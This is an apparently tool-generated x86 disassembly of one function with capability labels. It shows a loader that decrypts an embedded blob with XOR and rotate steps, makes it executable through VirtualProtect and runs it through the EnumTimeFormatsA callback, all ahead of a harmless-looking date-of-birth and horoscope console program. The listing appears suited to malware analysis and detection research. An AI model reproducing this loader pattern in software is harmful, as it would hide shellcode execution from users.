Function at 0x407860
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Encode data using xor
Execute shellcode via indirect call
Execute shellcode via windows callback function
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
xor eax, eax
mov dword [ebp - 0x2c], 0x700052
mov word [ebp - 0x18], ax
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 0x28], 0x720063
mov dword [ebp - 0x24], 0x340074
mov dword [ebp - 0x20], 0x64002e
mov dword [ebp - 0x1c], 0x6c006c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.RpcMgmtEpEltInqBegin
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 4]
push ecx
push 0
push 1
push 0
push 2
push 0
call eax
test eax, eax
je 0x407918
cmp eax, 0x57
jne 0x407918
xor edx, edx
mov al, byte [edx + 0x4449c0]
mov cl, 0x5a
xor al, 0xf4
sub cl, al
xor cl, dl
rol cl, 1
neg cl
xor cl, dl
add cl, 0x4f
xor cl, 0x12
sub cl, 0x79
not cl
ror cl, 3
add cl, dl
mov byte [edx + 0x4449c0], cl
inc edx
cmp edx, 0x1e05
jb 0x4078c0
lea eax, [ebp - 8]
push eax
push 0x40
push 0x1e05
push 0x4449c0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0
push 0x4449c0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
push esi
push edi
push 0x43b5d8
call fcn.00412d9f
push str.just_enter_your_date_of_birth
call fcn.004010f0
push str.YEAR:
call fcn.004010f0
lea eax, [ebp - 0x14]
push eax
push 0x43e4ac
call fcn.00401130
push str.MONTH:
call fcn.004010f0
lea eax, [ebp - 0x10]
push eax
push 0x43e4ac
call fcn.00401130
push str.DAY:
call fcn.004010f0
lea eax, [ebp - 0xc]
push eax
push 0x43e4ac
call fcn.00401130
push 0
call fcn.004112de
push eax
call fcn.00411678
mov esi, dword [ebp - 0x10]
add esp, 0x34
mov edi, 0x7da
cmp esi, 0xc
jg 0x4079be
mov ecx, dword [ebp - 0xc]
cmp esi, 2
jne 0x4079a0
cmp ecx, 0x1e
jge 0x4079be
cmp ecx, 0x1f
jg 0x4079be
cmp ecx, 0x1e
jg 0x4079be
mov edx, dword [ebp - 0x14]
mov eax, edi
sub eax, edx
cmp eax, 0x64
jg 0x4079be
cmp edx, edi
jle 0x407a47
push 0x43b5d8
call fcn.00412d9f
push str.THE_ENTRY_YOU_MADE_WAS_WRONG.....
call fcn.004010f0
push str.PLEASE_ENTER_CORRECT_DATE_OF_BIRTH_ACCORDING_TO_GREGORIAN_CALENDAR
call fcn.004010f0
push str.just_enter_your_date_of_birth
call fcn.004010f0
push str.YEAR:
call fcn.004010f0
lea eax, [ebp - 0x14]
push eax
push 0x43e4ac
call fcn.00401130
push str.MONTH:
call fcn.004010f0
lea eax, [ebp - 0x10]
push eax
push 0x43e4ac
call fcn.00401130
push str.DAY:
call fcn.004010f0
lea eax, [ebp - 0xc]
push eax
push 0x43e4ac
call fcn.00401130
push 0
call fcn.004112de
push eax
call fcn.00411678
mov ecx, dword [ebp - 0xc]
add esp, 0x3c
mov esi, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
cmp esi, 0xc
jg 0x407a6f
cmp esi, 2
jne 0x407a56
cmp ecx, 0x1e
jge 0x407a6f
cmp ecx, 0x1f
jg 0x407a6f
cmp ecx, 0x1e
jg 0x407a6f
sub edi, edx
cmp edi, 0x64
jg 0x407a6f
cmp edx, 0x7da
jle 0x407abb
push str.WRONG_ENTRY
call fcn.004010f0
push 3
push str.THE_PROGRAM_RESTARTS_IN__d_SECONDS
call fcn.004010f0
push 2
push str.THE_PROGRAM_RESTARTS_IN__d_SECONDS
call fcn.004010f0
push 1
push str.THE_PROGRAM_RESTARTS_IN__d_SECONDS
call fcn.004010f0
push 0
push str.THE_PROGRAM_RESTARTS_IN__d_SECONDS
call fcn.004010f0
add esp, 0x24
call dword [0x400000]
mov ecx, dword [ebp - 0xc]
mov esi, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x43b5d8
mov dword [0x447bf4], edx
mov dword [0x447bf8], esi
mov dword [0x447bfc], ecx
call fcn.00412d9f
push str.REGISTRY_DETAILS
call fcn.004010f0
push str.__________________________________________________________________
call fcn.004010f0
push str.__________________________________________________________________
call fcn.004010f0
push str.Enter_Full_Name:
call fcn.004010f0
push 0
call fcn.004112de
push eax
call fcn.00411678
push str.Enter_Sex:
call fcn.004010f0
call fcn.00417cc7
push str.press_any_key_to_continue.....
mov byte [0x447bf2], al
call fcn.004010f0
call fcn.0041bf9b
push 0x440cfc
push str.records.txt
call fcn.004111ff
add esp, 0x2c
pop edi
pop esi
test eax, eax
je 0x407e3e
push eax
push 1
push 0x40
push 0x447bc0
call fcn.0041307d
mov eax, dword [ebp - 0x10]
add esp, 0x10
cmp eax, 3
jne 0x407b72
mov ecx, dword [ebp - 0xc]
cmp ecx, 0x15
jge 0x407b7f
jmp 0x407e19
cmp eax, 4
jne 0x407baf
mov ecx, dword [ebp - 0xc]
cmp ecx, 0x13
jg 0x407ba2
movzx eax, byte [0x447bf2]
mov edx, dword [ebp - 0x14]
push eax
push 0x447bc0
call fcn.00402ad0
mov eax, dword [ebp - 0x10]
add esp, 8
cmp eax, 4
jne 0x407baf
mov ecx, dword [ebp - 0xc]
cmp ecx, 0x14
jge 0x407bbc
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
cmp eax, 5
jne 0x407bec
mov ecx, dword [ebp - 0xc]
cmp ecx, 0x14
jg 0x407bdf
movzx eax, byte [0x447bf2]
mov edx, dword [ebp - 0x14]
push eax
push 0x447bc0
call fcn.00403150
mov eax, dword [ebp - 0x10]
add esp, 8
cmp eax, 5
jne 0x407bec
mov ecx, dword [ebp - 0xc]
cmp ecx, 0x15
jge 0x407bf9
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
cmp eax, 6
jne 0x407c29
mov ecx, dword [ebp - 0xc]
cmp ecx, 0x14
jg 0x407c1c
movzx eax, byte [0x447bf2]
mov edx, dword [ebp - 0x14]
push eax
push 0x447bc0
call fcn.00403800
mov eax, dword [ebp - 0x10]
add esp, 8
cmp eax, 6
jne 0x407c29
mov ecx, dword [ebp - 0xc]
cmp ecx, 0x15
jge 0x407c36
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
cmp eax, 7
jne 0x407c66
mov ecx, dword [ebp - 0xc]
cmp ecx, 0x16
jg 0x407c59
movzx eax, byte [0x447bf2]
mov edx, dword [ebp - 0x14]
push eax
push 0x447bc0
call fcn.00403e90
mov eax, dword [ebp - 0x10]
add esp, 8
cmp eax, 7
jne 0x407c66
mov ecx, dword [ebp - 0xc]
cmp ecx, 0x17
jge 0x407c73
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
cmp eax, 8
jne 0x407ca3
mov ecx, dword [ebp - 0xc]
cmp ecx, 0x16
jg 0x407c96
movzx eax, byte [0x447bf2]
mov edx, dword [ebp - 0x14]
push eax
push 0x447bc0
call fcn.00404510
mov eax, dword [ebp - 0x10]
add esp, 8
cmp eax, 8
jne 0x407ca3
mov ecx, dword [ebp - 0xc]
cmp ecx, 0x17
jge 0x407cb0
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
cmp eax, 9
jne 0x407ce0
mov ecx, dword [ebp - 0xc]
cmp ecx, 0x16
jg 0x407cd3
movzx eax, byte [0x447bf2]
mov edx, dword [ebp - 0x14]
push eax
push 0x447bc0
call fcn.00404b70
mov eax, dword [ebp - 0x10]
add esp, 8
cmp eax, 9
jne 0x407ce0
mov ecx, dword [ebp - 0xc]
cmp ecx, 0x17
jge 0x407ced
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
cmp eax, 0xa
jne 0x407d1d
mov ecx, dword [ebp - 0xc]
cmp ecx, 0x16
jg 0x407d10
movzx eax, byte [0x447bf2]
mov edx, dword [ebp - 0x14]
push eax
push 0x447bc0
call fcn.00405200
mov eax, dword [ebp - 0x10]
add esp, 8
cmp eax, 0xa
jne 0x407d1d
mov ecx, dword [ebp - 0xc]
cmp ecx, 0x17
jge 0x407d2a
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
cmp eax, 0xb
jne 0x407d5a
mov ecx, dword [ebp - 0xc]
cmp ecx, 0x15
jg 0x407d4d
movzx eax, byte [0x447bf2]
mov edx, dword [ebp - 0x14]
push eax
push 0x447bc0
call fcn.00405850
mov eax, dword [ebp - 0x10]
add esp, 8
cmp eax, 0xb
jne 0x407d5a
mov ecx, dword [ebp - 0xc]
cmp ecx, 0x16
jge 0x407d67
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
cmp eax, 0xc
jne 0x407d97
mov ecx, dword [ebp - 0xc]
cmp ecx, 0x15
jg 0x407d8a
movzx eax, byte [0x447bf2]
mov edx, dword [ebp - 0x14]
push eax
push 0x447bc0
call fcn.00405ed0
mov eax, dword [ebp - 0x10]
add esp, 8
cmp eax, 0xc
jne 0x407d97
mov ecx, dword [ebp - 0xc]
cmp ecx, 0x16
jge 0x407da4
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
cmp eax, 1
jne 0x407dd4
mov ecx, dword [ebp - 0xc]
cmp ecx, 0x13
jg 0x407dc7
movzx eax, byte [0x447bf2]
mov edx, dword [ebp - 0x14]
push eax
push 0x447bc0
call fcn.00406530
mov eax, dword [ebp - 0x10]
add esp, 8
cmp eax, 1
jne 0x407dd4
mov ecx, dword [ebp - 0xc]
cmp ecx, 0x14
jge 0x407de1
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
cmp eax, 2
jne 0x407e11
mov ecx, dword [ebp - 0xc]
cmp ecx, 0x12
jg 0x407e04
movzx eax, byte [0x447bf2]
mov edx, dword [ebp - 0x14]
push eax
push 0x447bc0
call fcn.00406bb0
mov eax, dword [ebp - 0x10]
add esp, 8
cmp eax, 2
jne 0x407e11
mov ecx, dword [ebp - 0xc]
cmp ecx, 0x13
jge 0x407e1e
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
cmp eax, 3
jne 0x407e36
mov ecx, dword [ebp - 0xc]
cmp ecx, 0x14
jg 0x407e36
movzx eax, byte [0x447bf2]
mov edx, dword [ebp - 0x14]
push eax
push 0x447bc0
call fcn.004071d0
add esp, 8
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
push 0
call fcn.00410aba
int3